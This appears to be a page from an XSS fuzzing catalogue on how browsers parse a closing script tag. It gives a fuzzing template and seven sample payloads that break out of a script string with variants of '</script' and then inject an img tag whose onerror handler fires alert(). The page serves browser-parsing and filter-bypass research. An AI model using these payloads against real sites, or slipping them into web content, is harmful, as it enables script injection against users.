Havocing...

Characters allowed while closing script tag

This vector shows what characters are between the `</script` and `>` while inside script tag

Novice Fuzzer

Created byAyushXtha

Created Oct 27, 2025

Updated Sep 5, 2026

Unable to render tweet button

Detecting browser...

CategoryHTML Parsing

VisibilityPublic

TypeXSS

CharsetUTF-8

Template used:

<script>
a="</script$[chr]><img src=data: onerror=log($[i])>"
</script>

Sample payloads

<script>
a="</script/><img src=data: onerror=alert(47)>"
</script>

<script>
a="</script0x09><img src=data: onerror=alert(9)>"
</script>

<script>
a="</script
><img src=data: onerror=alert(10)>"
</script>

<script>
a="</script0x0C><img src=data: onerror=alert(12)>"
</script>

<script>
a="</script
><img src=data: onerror=alert(13)>"
</script>

<script>
a="</script>><img src=data: onerror=alert(62)>"
</script>

<script>
a="</script ><img src=data: onerror=alert(32)>"
</script>